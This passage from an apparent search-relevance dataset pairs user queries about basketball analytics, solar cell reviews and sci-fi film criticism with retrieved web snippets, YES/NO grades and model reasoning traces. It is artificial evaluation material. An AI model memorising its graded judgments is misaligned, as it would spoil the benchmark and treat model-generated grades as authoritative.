offensive players to shoot while providing help in the post. In the 1998 finals, the Bulls also had low pickup points against Hall of Fame point guard John Stockton. In both cases, the sagging defense was used to make it harder to enter the ball into dominant big men. That strategy directly contrasts the popular coaching adage that \u201cthe first line of post defense is ball pressure\u201d. Ball pressure is one way to make the passer feel uncomfortable and disrupt the pass into the post. But ign",
                "model_trace": "Query Decomposition:\n1. {Substack articles}: The document is a Substack article -> ([1], SATISFIED)\n2. {analyze advanced basketball stats and tactics}: The document discusses changes in shot selection, spacing, and defensive tactics over different decades, which are relevant basketball tactics -> ([1], SATISFIED)\n3. {improve my game}: The document provides insights into basketball tactics that could be applied to improve one's game -> ([2], SATISFIED)\n4. {written by former players or coaches}: The document does not specify the author's background -> ([0], UNSURE)\n\nAssessment: The document satisfies the subcomponents {Substack articles}, {analyze advanced basketball stats and tactics}, and {improve my game}. The subcomponent regarding the author's background is not addressed but is not critical for the evaluation.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "How Basketball Can Help Us Understand Football: Introducing 'Floor Raising' & 'Ceiling Raising'",
                "url": "https://tacticalrant.substack.com/p/basketball-football-floor-ceiling-raising",
                "published_date": "2021-06-04",
                "text": "Drawing from other sports to help us better understand our own isn\u2019t particularly new. Both football and hockey have influenced each other over time through the adoption of expected goals (xG), and some of the most innovative set-piece routines incorporate what looks suspiciously like \u201cscreens\u201d from basketball. It is that latter sport where I think a lot can be drawn from \u2014 less because it\u2019s incredibly similar to football and more because of the amazing analytical and conceptual work that is being done in that space. Take Ben Taylor, who made the best all-time list I\u2019ve seen with his \u201cBackpicks Top 40.\u201d In it, he lays out his comprehensive logic for player evaluation, part of which includes a concept called \u201cportability\u201d (or \u201cport\u201d for short, often interchanged with \u201cscalability\u201d): Portability \u2014 a termed inspired by the portable document file (PDF), meant to be read in varying hardware and software environments \u2014 is about interfacing in different basketball environments. More specifically, it\u2019s about players maintaining impact, or scaling up, on better and better offenses, which is critical when building championship-level teams [emphasis added]. That definition comes from a 2018 article, where he used port to explain why the \u201cbig three\u201d of Russell Westbrook, Carmelo Anthony, and Paul George didn\u2019t work out as expected for the Oklahoma City Thunder. When integrated back into a holistic analysis of player impact, Ben was able to drill down on the skill sets that made certain players more valuable on better teams. Portability, in conjunction with a clear understanding of relevant skill sets, can be taken further to create offensive archetypes \u2014 namely \u201cfloor raisers\u201d and \u201cceiling raisers\u201d \u2014 that categorize players based on this logic. In short, the best floor raisers in basketball are those who tend to be ball-dominant, capable of turning their many possessions into volume scoring (Michael Jordan) and creation for others (Magic Johnson). These are the guys who can take largely mediocre teammates to the NBA Finals b",
                "model_trace": "Query Decomposition:\n1. {Substack articles}: This document is a Substack article -> ([1], SATISFIED)\n2. {analyze advanced basketball stats and tactics}: The article discusses advanced basketball concepts like \"portability,\" \"floor raising,\" and \"ceiling raising,\" which are advanced analytical concepts -> ([1], SATISFIED)\n3. {applicable to improving one's game}: The document discusses advanced basketball analytics that could be applied to understanding and improving gameplay -> ([2], SATISFIED)\n4. {written by former players or coaches}: The document does not provide information about the author\u2019s background -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {Substack articles}, {analyze advanced basketball stats and tactics}, and {applicable to improving one's game}. All these subcomponents are satisfied. YES."
            },
            {
                "grade": "NO",
                "title": "Tactical Rant | Om Arvind | Substack",
                "url": "https://tacticalrant.substack.com/",
                "published_date": "2022-08-24",
                "text": "Meet Japan - The Most Tactically Advanced Side in the World Cup Japan's refined aggression, pragmatic defense, and set-piece creativity create a potent combination that can be matched by no one. Aug 3 \u2022 Om Arvind 9 5 End of Tactical Rant When I first started this newsletter, the goal was simple: attract enough paid subscribers so that I could scrape together a living writing about\u2026 Aug 24, 2022 \u2022 Om Arvind 8 7 How Lena Oberdorf Empowers Germany to Pass Without Fear The 20-year-old's all-time defense completely changes the typical risk-reward calculus for possession play. Jul 30, 2022 \u2022 Om Arvind 8 Most Popular View all The Off-Ball Playmakers Jan 8, 2022 \u2022 Om Arvind 5 3 How",
                "model_trace": "Query Decomposition:\n1. {Substack articles}: This document is a Substack article -> ([1], SATISFIED)\n2. {advanced basketball stats and tactics}: The document does not mention basketball stats or tactics; it focuses on soccer tactics -> ([1], UNSATISFIED)\n3. {written by former players or coaches}: The document does not provide information about the author being a former player or coach -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {Substack articles} and {advanced basketball stats and tactics}. Since the document does not satisfy the subcomponent related to basketball stats and tactics, it is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "Where to Find My Stats, Rankings, Content, Models and Data",
                "url": "https://neilpaine.substack.com/p/where-to-find-my-stats-rankings-content/comments",
                "published_date": null,
                "text": "I'm guessing it's because Chet's Offensive Rating is 124 and Wemby's is 104. (League average is ~116.) On offense, Win Shares is based on outperforming 92% of the league average ORtg:    https://www.basketball-reference.com/about/ws.html    Because Wemby is below that threshold, he actually has negative offensive WS this season:    https://www.basketball-reference.com/players/w/wembavi01.html#advanced    One of the longstanding criticisms of WS is that it doesn't account for any tradeoff between Usage and efficiency, so Wemby's 31.8% Usage Rate doesn't really get him anything extra aside from a higher multiplier to his per-possession ORtg gap vs 92% of average (which actually hurts because he is below that threshold). Because of this, high-usage, low efficiency players like Wemby are always undervalued by WS and low-usage, high efficiency ones like Lively are overvalued.   eRAPTOR has a bit of this problem, too, as it views Wemby as a -2.3 on offense (BPM has him as a +1.5). Although with eRAPTOR I think it's actually more inferring that Wemby must not be having all that great of an impact on the offense when the Spurs' ORtg is actually higher when he sits:    https://www.basketball-reference.com/players/w/wembavi01/on-off/2024    eRAPTOR is looking at him and saying \"hmm, the league's 27th-best offense actually gets better when this guy sits, and his individual efficiency is way below average... are we SURE he is a good offensive player?\"   Is that right? I think something like BPM will end up being predictive of Wemby's future value. But it's always tough to measure the present performance of players who are clearly good enough to get their own shot whenever they want at a young age, but have subpar efficiency and turn the ball over a lot. Are they helping or hurting? Truth is, it doesn't really matter; the 2024 Spurs were never about the present day anyway.    ||||I||||                SubscribeSign in\n                  Share this discussion\n                      Where to Find My Stats, Rankings, Content, Model",
                "model_trace": "Query Decomposition:\n1. {Substack articles}: This document is from Substack -> ([1], SATISFIED)\n2. {analyze advanced basketball stats and tactics}: The content discusses advanced basketball stats such as Offensive Rating, Win Shares, Usage Rate, and eRAPTOR -> ([1], SATISFIED)\n3. {improve my game}: The document primarily focuses on analyzing player stats rather than providing actionable tactics for improving one's game -> ([1], UNSATISFIED)\n4. {written by former players or coaches}: The document does not specify the author's background as a former player or coach -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {Substack articles} and {analyze advanced basketball stats and tactics}. While these are satisfied, the document does not provide actionable tactics for improving the user's game, which is crucial for the user's intent.\n\nNO."
            },
            {
                "grade": "NO",
                "title": "My Love For The Game Of Basketball | by Byron Jamar Terry",
                "url": "https://medium.com/@terrybyron1/my-love-for-the-game-of-basketball-rough-draft-a6ee6d3a3ca6",
                "published_date": null,
                "text": "image from Thearon W Henderson/Getty images. Derived from article By Action.          I wasn\u2019t the biggest basketball fan growing up. I actually didn\u2019t like basketball very much at all. I kind of hated it even. As a kid, the main and only sport I played was football. All football, all the time. I was obsessed with it. I didn\u2019t even like the sight of a basketball sometimes. Whenever I\u2019d play outside with my friends and they elected to play basketball, I was always the one who didn\u2019t want to play and would differ to playing football instead. I was so consumed with football that I actually played a game of basketball with football gloves on. Crazy right? A part of my reasoning for not liking basketball was because I didn\u2019t know very much about the game to being with. I wasn\u2019t very fond of it and I wasn\u2019t very good at it either. I only knew about some of the top players in the NBA. What caught my interest with basketball, was my twin cousins Cameron and Christian. They\u2019ve been playing the game since they were younger. They would encourage me to give basketball a try and see how I liked it. I would go to some of their games and watch them play. The more games I went to, the more intrigued with basketball I became. Every aspect of the game. The passing, dribbling, shooting, defending, rebounding, everything. My parents actually wanted me to play basketball growing up. In 2009 I believe, I went to an Atlanta Hawks game with my uncle and cousins when they were playing the San Antonio Spurs and got autographs from some of the Hawks players. I was so excited and elated even if I wasn\u2019t that much of a basketball fan. In 2017, my love for basketball grew. I would play pick-up games with my friends and had a lot of fun doing so. I wasn\u2019t very good offensively besides passing the ball but I do feel like I do well on the defensive end. I credit football a lot for that. I was so eager to learn. Once I get into something like basketball, I really get into it. I was trying to learn as much as I could. I never officially played bas",
                "model_trace": "Query Decomposition:\n1. {Substack articles}: The document is hosted on Medium, not Substack -> ([1], UNSATISFIED)\n2. {analyze advanced basketball stats and tactics}: The document is a personal narrative about the author's journey into basketball, not an analysis of advanced stats and tactics -> ([1], UNSATISFIED)\n3. {written by former players or coaches}: The document does not clearly indicate that the author is a former player or coach -> ([2], UNSURE)\n4. {improve my game}: The document does not provide specific tactics or strategies to improve one's game -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {Substack articles}, {analyze advanced basketball stats and tactics}, and {improve my game}. Since none of these subcomponents are satisfied, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "The Yang Slinger: Vol. II",
                "url": "https://pearlman.substack.com/p/the-yang-slinger-vol-ii",
                "published_date": null,
                "text": "Back in 1999, when Stephen Cannella and I were young baseball writers trying to work our way up the Sports Illustrated masthead, we wrapped a long (they were always long) MLB season by returning home from the World Series and presuming there\u2019d be a period of rest. Um, no. At the very last minute, the big guns decided that, to conclude the century, Sports Illustrated would publish a special year-end issue by ranking the top 50 athletes of the past 100 years\u2014from every single state (with a different cover for every state). And what two scribes were assigned this God-awful task?  Cannella and (cripes) Pearlman. To say it sucked is to understate suckiness. It was brutal. Long nights of seeking out that 50th elusive Delawarian, or desperately searching for anyone from Wyoming who might have pitched a Big League inning. Toward the end, with deadline approaching, we (well, I\u2019ll speak for myself and say \u201cI\u201d) started to wing it. Were there a gap in a state, I\u2019d sit in the library, dig through old media guides and \u2026 first NFL player to come up from North Dakota was gonna be slotted in the hole (you\u2019re very welcome, Randy Hedberg).  How erratic and incomplete was the process? Evander Holyfield is one of the Top 20 fighters in the history of professional boxing. We (cough) forgot to place him anywhere in Georgia. The point is, I\u2019m not a big fan of lists. Of Best This and Biggest That; Hottest Teen Stars of 2017 or Coolest Celebrity Cars of 2013. Whenever I see one, I think back to late 1999 and break out in hives. I recently felt an odd, unfamiliar craving to list my favorite modern-day sports writers. Why? I don\u2019t know. But \u2026 I went for it. I took a week, read a ton of stuff, asked (via Twitter and Facebook) for writers people love, combed through newspapers and websites and archives and \u2026 here we sit. \u2022 This was my rankings when I did my rankings. AKA: A day later, they\u2019re probably different. A week later, even more different. It has nothing to do with literal \u201cbest\u201d\u2014because there is no such thing as \u201cbest\u201d when it comes t",
                "model_trace": "Query Decomposition:\n1. {Substack articles}: This document is from Substack -> ([1], SATISFIED)\n2. {analyze advanced basketball stats and tactics}: The document content does not mention basketball stats or tactics, it is about a personal anecdote related to sports writing -> ([1], UNSATISFIED)\n3. {written by former players or coaches}: The document does not specify the author\u2019s background as a former player or coach -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {Substack articles} and {analyze advanced basketball stats and tactics}. Since {analyze advanced basketball stats and tactics} is not satisfied, the document is not helpful for the user's request. NO."
            }
        ]
    },
    {
        "query": "I'm a journalist researching the latest developments in renewable energy. I'm looking for a technical paper that provides an overview of the current state-of-the-art in high-efficiency, low-cost solar cell technologies.",
        "grid_pos": [
            3,
            0
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Paper/Journal/Publication",
        "reasoning_trace": [
            "The queries cover a diverse range of topics and interests, including machine learning, biology, mathematics, art, and renewable energy. They are personalized to the user's background and needs, and require accessing specialized technical knowledge to find relevant journal articles. The queries are specific and detailed, testing the search engine's ability to understand context and nuance. Some queries may have clear answers, while others are more open-ended. Overall, these queries aim to challenge the search engine to go beyond simple keyword matching and demonstrate a deeper understanding of the user's intent and the underlying subject matter."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Frontiers of photovoltaic technology: A review",
                "url": "https://ieeexplore.ieee.org/document/7177610/",
                "published_date": null,
                "text": "As photovoltaics (PV) cost reduction driven by economies of scale is approaching a limit, technological breakthroughs are likely to become again the next driver for further growth. In this paper, we review the most significant photovoltaic (PV) device technologies. First, commercially available cells and modules are briefly surveyed, focusing on the innovations that have recently reached the market, both in silicon-based and thin-film devices. We then identify some significant pre-market technologies such as organic PV and dye-sensitized solar cells, outlining the advantages as well as the obstacles that still hinder large-scale commercialization. A critical review is finally presented for the most promising approaches and some emerging technologies currently under investigation for simultaneously meeting the three key objectives in PV research, all aiming at further reducing the cost per kWh: low fabrication cost, systems integration, and overcoming the standard limit for photoconversion efficiency. All approaches heavily rely on nanotechnology, as the key mechanisms involved in PV conversion occur at the nanoscale.",
                "model_trace": "Query Decomposition:\n1. {Technical paper}: The document is a review paper, which is a type of technical paper -> ([1], SATISFIED)\n2. {Overview of the current state-of-the-art in high-efficiency, low-cost solar cell technologies}: The document reviews significant PV device technologies, including commercially available cells, pre-market technologies, and emerging technologies aimed at reducing costs and improving efficiency -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. It is a technical paper that provides an overview of current state-of-the-art solar cell technologies focusing on high-efficiency and low-cost solutions. YES."
            },
            {
                "grade": "YES",
                "title": "Challenges for the future of tandem photovoltaics on the path to terawatt levels: a technology review",
                "url": "https://arxiv.org/pdf/2102.10427v1.pdf",
                "published_date": "2021-02-20",
                "text": "Challenges for the future of tandem photovoltaics on the path to terawatt levels: A technology review\n\nFilipe Martinho \nDepartment of Photonics Engineering\nTechnical University of Denmark\nDK-4000RoskildeDenmark\n\nChallenges for the future of tandem photovoltaics on the path to terawatt levels: A technology review\nCorresponding author: Filipe Martinho (filim@fotonik.dtu.dk)photovoltaicsLCOEmultijunctiontandemsolar cell2\nAs the photovoltaic sector approaches 1 TW in cumulative installed capacity, we provide an overview of the current challenges to achieve further technological improvements. On the raw materials side, we see no fundamental limitation to expansion in capacity of the current market technologies, even though basic estimates predict that the PV sector will become the largest consumer of Ag in the world after 2030. On the other hand, recent market data on PV costs indicates that the largest cost fraction is now infrastructure and area-related, and nearly independent of the core cell technology. Therefore, additional value adding is likely to proceed via an increase in energy yield metrics such as the power density and/or efficiency of the PV module. However, current market technologies are near their fundamental detailed balance efficiency limits. The transition to multijunction PV in tandem configurations is regarded as the most promising path to surpass this limitation and increase the power per unit area of PV modules. So far, each specific multijunction concept faces particular obstacles that have prevented their upscaling, but the field is rapidly improving. In this review work, we provide a global comparison between the different types of multijunction concepts, including III-Vs, Sibased tandems and the emergence of perovskite/Si devices. Coupled with analyses of new notable developments in the field, we discuss the challenges common to different multijunction cell architectures, and the specific challenges of each type of device, both on a cell level and on a module integration level. From the anal",
                "model_trace": "Query Decomposition:\n1. {latest developments in renewable energy}: The document discusses recent challenges and improvements in tandem photovoltaics, which is relevant to renewable energy -> ([1], SATISFIED)\n2. {technical paper}: The document is a technical review paper published on arXiv, which is a repository for scientific papers -> ([1], SATISFIED)\n3. {overview of the current state-of-the-art in high-efficiency, low-cost solar cell technologies}: The document provides an overview of multijunction photovoltaic technologies, including their efficiency and cost challenges -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES."
            },
            {
                "grade": "YES",
                "title": "Photovoltaic materials: Present efficiencies and future challenges",
                "url": "https://www.science.org/doi/10.1126/science.aad4424",
                "published_date": "2016-04-15",
                "text": "Surveying the solar cell landscape The rate of development and deployment of large-scale photovoltaic systems over recent years has been unprecedented. Because the cost of photovoltaic systems is only partly determined by the cost of the solar cells, efficiency is a key driver to reduce the cost of solar energy. There are several materials systems being explored to achieve high efficiency at low cost. Polman et al. comprehensively and systematically review the leading candidate materials, present the limitations of each system, and analyze how these limitations can be overcome and overall cell performance improved. Structured Abstract BACKGROUND Photovoltaics, which directly convert solar energy into electricity, offer a practical and sustainable solution to the challenge of meeting the increasing global energy demand. According to the Shockley-Queisser (S-Q) detailed-balance model, the limiting photovoltaic energy conversion efficiency for a single-junction solar cell is 33.7%, for an optimum semiconductor band gap of 1.34 eV. Parallel to the development of wafer-based Si solar cells, for which the record efficiency has continually increased during recent decades, a large range of thin-film materials have been developed with the aim to approach the S-Q limit. These materials can potentially be deposited at low cost, in flexible geometries, and using relatively small material quantities. ADVANCES We review the electrical characteristics of record-efficiency cells made from 16 widely studied photovoltaic material geometries and illuminated under the standard AM1.5 solar spectrum, and compare these to the fundamental limits based on the S-Q model. Cells that show a short-circuit current (J sc) lower than the S-Q limit suffer from incomplete light absorption or incomplete collection of generated carriers, whereas a reduced open-circuit voltage (V oc) or fill factor (FF) reflects unwanted bulk or interfacial carrier recombination, parasitic resistance, or other electrical nonidealities. The figure shows the experimen",
                "model_trace": "Query Decomposition:\n1. [Technical paper]: The document is a technical paper published in a scientific journal -> ([1], SATISFIED)\n2. [Overview of the current state-of-the-art in high-efficiency, low-cost solar cell technologies]: The document provides a comprehensive review of leading candidate materials for solar cells, their efficiencies, and future challenges, which aligns with the request for an overview of high-efficiency, low-cost solar cell technologies -> ([1], SATISFIED)\n\nAssessment: Both key subcomponents are satisfied. The document is a technical paper that provides an overview of the current state-of-the-art in high-efficiency, low-cost solar cell technologies, making it highly relevant for the user's query. YES"
            },
            {
                "grade": "NO",
                "title": "On the State-of-the-Art of Solar, Wind, and Other Green ...",
                "url": "https://www.mdpi.com/2673-4117/4/1/52",
                "published_date": null,
                "text": "1. Introduction Solar energy refers to radiant light and heat from the Sun that could be harnessed as one of the main green energy resources, as shown in Figure 1. On average, 173,000 terawatts (TW) of solar radiation continuously strike the Earth in daylight, while global electricity demand averages 2.7 TW [1]. As an essential source of renewable energy, solar energy systems are broadly characterized as either passive solar or active solar depending on how solar energies are captured and distributed. The solar photovoltaic portion can be directly converted into electricity, whereas solar thermal energy is traditionally harvested in water or air heating units or molten salt in large installations. Typical solar thermal systems include water heater thermosiphon, parabolic troughs, solar power towers, heliostat power plants, air heating solar units, solar dish engines, and solar thermoelectric units [1]. With respect to wind energy, as described in Ref. [3], nearly all of the wind turbines currently in use are horizontal-axis turbines. Horizontal-axis wind turbines have blades like airplane propellers. In general, they have two-blade, three-blade, upwind, and downwind installations. The largest horizontal axis turbines (Vestas V236-15MW) are taller than 70-story buildings, more than 900 feet, and have blades more than 700 feet long [4]. Taller turbines with longer blades generate more electricity. The specific kinetic energy is proportional to the square of the velocity. Moreover, the mass flow rate is also proportional to the product of the air density, the velocity, and the cross-sectional area of the horizontal-axis wind turbine which is proportional to the square of the blade radius. Therefore, the power generation will be proportional to the cube of the velocity, the air density, and the square of the blade radius. Recently, vertical-axis windmills are getting more attention in practice and often have a comparable performance to horizontal-axis windmills. As described in Ref. [5], Savonius wind turbines have b",
                "model_trace": "Query Decomposition:\n1. {technical paper}: The document appears to be a technical paper, given its format and detailed content -> ([1], SATISFIED)\n2. {current state-of-the-art in high-efficiency, low-cost solar cell technologies}: The document provides an overview of solar energy and various solar thermal systems but does not specifically focus on high-efficiency, low-cost solar cell technologies -> ([1], UNSATISFIED)\n\nAssessment: The document is a technical paper, but it does not specifically address the current state-of-the-art in high-efficiency, low-cost solar cell technologies. Therefore, it does not fully satisfy the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "'Revolutionary' solar power cell innovations break key ...",
                "url": "https://www.theguardian.com/environment/2023/jul/06/revolutionary-solar-power-cell-innovations-break-key-energy-threshold",
                "published_date": null,
                "text": "Solar power cells have raced past the key milestone of 30% energy efficiency, after innovations by multiple research groups around the world. The feat makes this a \u201crevolutionary\u201d year, according to one expert, and could accelerate the rollout of solar power. Today\u2019s solar panels use silicon-based cells but are rapidly approaching their maximum conversion of sunlight to electricity of 29%. At the same time, the installation rate of solar power needs to increase tenfold in order to tackle the climate crisis, according to scientists. The breakthrough is adding a layer of perovskite, another semiconductor, on top of the silicon layer. This captures blue light from the visible spectrum, while the silicon captures red light, boosting the total light captured overall. With more energy absorbed per cell, the cost of solar electricity is even cheaper, and deployment can proceed faster to help keep global heating under control. The perovskite-silicon \u201ctandem\u201d cells have been under research for about a decade, but recent technical improvements have now pushed them past the 30% milestone. Experts said that if the scaling-up of production of the tandem cells proceeds smoothly, they could be commercially available within five years, about the same time silicon-only cells reach their maximum efficiency.   Two groups published the details of their efficiency breakthroughs in the journal Science on Thursday, and at least two others are known to have pushed well beyond 30%. \u201cThis year is a revolutionary year,\u201d said Prof Stefaan De Wolf, at King Abdullah University of Science and Technology in Saudi Arabia. \u201cIt\u2019s very exciting that things are moving rapidly with multiple groups.\u201d The current efficiency record for silicon-only solar cells is 24.5% in commercial cells and 27% in the laboratory. The latter may well be as close the cells can practically get to the theoretical maximum of 29%. But one group, led by Prof Steve Albrecht at the Helmholtz Center Berlin for Materials and Energy in Germany, has now published information about",
                "model_trace": "Query Decomposition:\n1. {Technical paper}: The document is a news article, not a technical paper -> ([1], UNSATISFIED)\n2. {Overview of the current state-of-the-art}: The document provides an overview of recent developments in solar cell technologies, specifically mentioning the breakthrough in perovskite-silicon tandem cells -> ([1], SATISFIED)\n3. {High-efficiency solar cell technologies}: The document discusses solar cells achieving over 30% efficiency, which qualifies as high-efficiency -> ([1], SATISFIED)\n4. {Low-cost solar cell technologies}: The document mentions that the new technology could make solar electricity even cheaper -> ([2], SATISFIED)\n\nAssessment: The key subcomponent {Technical paper} is UNSATISFIED, which is critical for the user's intent of finding a technical paper. Despite the document satisfying the other subcomponents, it does not meet the primary requirement of being a technical paper. NO."
            },
            {
                "grade": "NO",
                "title": "Best Research-Cell Efficiency Chart | Photovoltaic Research",
                "url": "https://www.nrel.gov/pv/cell-efficiency.html",
                "published_date": null,
                "text": "NREL maintains a chart of the highest confirmed conversion efficiencies for research\n cells for a range of photovoltaic technologies, plotted from 1976 to the present.\n \n \n Learn how NREL can help your team with certified efficiency measurements.\n \n \n  \n \n \n \n Download technology-specific charts:\n \n  Crystalline silicon cells \n \n  Single-junction gallium arsenide cells \n \n  Multijunction cells \n \n  Thin films \n \n  Emerging PV.\n \n \n Cell Chart Explanatory Notes\n \n Devices included in this chart of the current state of the art have efficiencies that\n are confirmed by independent, recognized test labs\u2014e.g., NREL, AIST, JRC-ESTI, and\n Fraunhofer-ISE\u2014and are reported on a standardized basis. The measurements for new\n entries must be with respect to Standard Test or Reporting Conditions as defined by\n the global reference spectrum for flat-plate devices and the direct reference spectrum\n for concentrator devices as listed in standards IEC 60904-3 edition 2 or ASTM G173.\n The reference temperature is 25\u00b0C, and the area is the cell total area or the area\n defined by an aperture.\n \n \n Cell efficiency results are provided within families of semiconductors:\n \n \n \n Multijunction cells\n \n Single-junction gallium arsenide cells\n \n Crystalline silicon cells\n \n Thin-film technologies\n \n Emerging photovoltaics.\n \n \n \n Some 28 different subcategories are indicated by distinctive colored symbols.\n \n The most recent world record for each technology is highlighted along the right edge\n in a flag that contains the efficiency and the symbol of the technology. The company\n or group that fabricated the device for each most-recent record is bolded on the plot.\n \n \n The information plotted by NREL is provided in good faith, but NREL cannot accept\n direct responsibility for any errors or omissions. The plot is not copyrighted and\n may be used in presentations and publications, with a notation that states: \"This\n plot is courtesy of the National Renewable Energy Laboratory, Golden, CO.\"\n \n \n \n \n \n Companies/Institutions\n \n \n \n \n \n Label\n \n F",
                "model_trace": "Query Decomposition:\n1. {technical paper}: The document is a webpage and not a technical paper -> ([0], UNSATISFIED)\n2. {overview of the current state-of-the-art}: The document provides information on the highest confirmed conversion efficiencies for various photovoltaic technologies, which can be considered an overview of the current state-of-the-art -> ([1], SATISFIED)\n3. {high-efficiency solar cell technologies}: The document specifically discusses high-efficiency solar cells and their efficiencies -> ([1], SATISFIED)\n4. {low-cost solar cell technologies}: The document does not specifically address the cost aspect of the solar cell technologies -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {overview of the current state-of-the-art} and {high-efficiency solar cell technologies}. Both of these subcomponents are satisfied. However, the document is a webpage and not a technical paper, which is crucial for the user's intent.\n\nNO."
            }
        ]
    },
    {
        "query": "As a film buff, I'm on the hunt for in-depth Substack reviews that go beyond the typical surface-level analysis. I'm particularly interested in posts that do a deep dive on the themes, symbolism, and cultural impact of classic science fiction movies.",
        "grid_pos": [
            3,
            2
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Blog Post/Substack/Personal Content",
        "reasoning_trace": [
            "These queries are diverse, personalized, and focused on finding high-quality, in-depth content on specific topics that the users are interested in. They cover a range of subjects like chemistry, parenting, sports, film criticism, and photography. The queries require the search engine to understand the user's background and interests in order to surface the most relevant Substack or blog post results. Some of the queries also indicate that the users are looking for a more analytical or personal perspective, rather than just general information."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "The Planet of the Apes (1968)",
                "url": "https://gourmetmovielove.substack.com/p/the-planet-of-the-apes-1968",
                "published_date": "2022-06-08",
                "text": "Americans have always been obsessed with apocalyptic stories. It either stems from an unconscious desire to destroy everything and recreate the world anew, or from a conscious desire to preserve a nation that was built out of sheer will. The occum\u2019s razor answer is that America has no original mythology and the only way they know how to put their own civilization into perspective is by destroying it. Or perhaps it is because time is understood as linear in the West. In Indian mythology, time is always understood to be cyclical; worlds are destroyed and remade time and time again; making us robustly immune to the end of everything. The OG \u2018Planet of the Apes\u2019 movie was made in 1968. In the first scene, Charlton Heston is smoking cigars and traveling through space at nearly the speed of light while commenting on the state of humanity (and how glad he was to leave it behind) as only heterosexual white men of Hollywood can. He also has a typical white American name - Taylor. All the while I\u2019m watching this, I\u2019m wondering how it\u2019ll hold up against the likes of Interstellar and Avatar. Could it possibly have aged well, I\u2019m pondering, as we do in our post-woke culture where we turn movies into wine. A simple digital clock on the spaceship\u2019s console distinguishes between \u201cEarth time\u201dand \u201cself time\u201d, allowing us to learn that the crew has been in cryogenic sleep for 2000 years. The spaceship crash lands into a planet that supports life. Water fills the spaceship, and the three astronauts escape by the skin of their teeth, watching their lifeline sink to the bottom. This is the point when the movie departs from a regular \u201cspace\u201d science fiction film obsessed with the machinations of a puny oxygen-dependent human surviving in space and becomes a philosophical reflection on the purpose of human existence, the legacy of the human race, and what our place means in the infinite, impersonal cosmos. As the astronauts traverse the arid (not inhospitable, but not convenient either) landscape searching for water, the motivations of ",
                "model_trace": "Query Decomposition:\n1. {in-depth Substack reviews}: This document is a Substack post and appears to be a review -> ([1], SATISFIED)\n2. {go beyond surface-level analysis}: The content dives into philosophical reflections on human existence and cultural themes, indicating a deeper analysis -> ([1], SATISFIED)\n3. {themes, symbolism, and cultural impact}: The document discusses apocalyptic themes, cultural perspectives, and philosophical reflections, which aligns with themes, symbolism, and cultural impact -> ([1], SATISFIED)\n4. {classic science fiction movies}: \"The Planet of the Apes (1968)\" is considered a classic science fiction movie -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. YES"
            },
            {
                "grade": "NO",
                "title": "An Unorthodoxy Review of the Netflix movie \"Leave The World Behind (LTWB)\"",
                "url": "https://unorthodoxy.substack.com/p/an-unorthodox-review-of-the-netflix?r=zj0xi&utm_medium=ios&utm_campaign=post%7C",
                "published_date": "2023-12-18",
                "text": "The current number one movie on Netflix is \u201cLeave the World Behind,\u201d starring Julia Roberts, Maharsha Ali, and others. The Obamas produced this movie, and it\u2019s getting a lot of attention in the mainstream media. The conspiratorial themes in the film are causing a lot of buzz among viewers. In this review, we\u2019ll look at the movie and explore those aspects. We\u2019ll also discuss where the movie attempts to take us and what most people seem to be missing out on. So, without further ado, let\u2019s dive into this unorthodox review of LTWB. To begin with, this movie could have been better. It received a low star rating and bad reviews, making it mediocre at best. I would argue that the low rating is due to the movie\u2019s story, writing, and pacing being all over the place and seeming disjointed. For example, the daughter and the BLM-themed \u201cwhite people are evil\u201d don\u2019t match the sexual tension presented while poolside with the husband. And then, you have the same tension with Roberts and Ali that\u2019s forced and grounded in no sense of reality. (my personal favorite genre) ancient art of mimesis The production quality of the movie was good. The visuals, shots, coloring, and lighting were all appealing. This \u201cbeautiful product but horrible writing\u201d scenario is a common problem in modern film because the focus is more on pushing ideologies rather than telling a good story. And so we must realize that movies are no longer just movies but are used as platforms to push ideas. When we watch such movies, we should pay attention to the occult information and the underlying message rather than just the story. That is the crux of the matter. movieweb.com Interestingly, this mainstream article does not disprove any of the conspiracies but acknowledges and provides background into the meaning. Examples included the demon God Baal and the number 666. Addicted to Information Alex Jones and Socrates But starting right off the bat, we need to realize that in Hollywood, things don\u2019t happen by coincidence. There is always a reason behind everything ",
                "model_trace": "Query Decomposition:\n1. {In-depth Substack reviews}: This document is a Substack review, so this subcomponent is met -> ([1], SATISFIED)\n2. {Beyond surface-level analysis}: The review discusses themes, symbolism, and underlying messages, indicating a deeper analysis -> ([1], SATISFIED)\n3. {Themes, symbolism, and cultural impact}: The review touches on themes and symbolism, such as conspiratorial themes and occult information, but does not clearly address cultural impact -> ([1], UNSURE)\n4. {Classic science fiction movies}: The review is about a contemporary Netflix movie, not a classic science fiction movie -> ([1], UNSATISFIED)\n\nAssessment: The subcomponents {in-depth Substack reviews} and {beyond surface-level analysis} are satisfied, but the key subcomponent {classic science fiction movies} is not. Therefore, the document does not fully meet the user's intent. NO."
            },
            {
                "grade": "NO",
                "title": "Aliens, Screens, and Body",
                "url": "https://goddisk.substack.com/p/aliens-screens-and-body",
                "published_date": "2021-06-25",
                "text": "Effluvia Update God Disk Jun 25, 2021 3 A new thread! Comments Top New Community No posts Ready for more? \u00a9 2023 God Disk Privacy \u2219 Terms \u2219 Collection notice Start Writing Get the app Substack is the home for great writing",
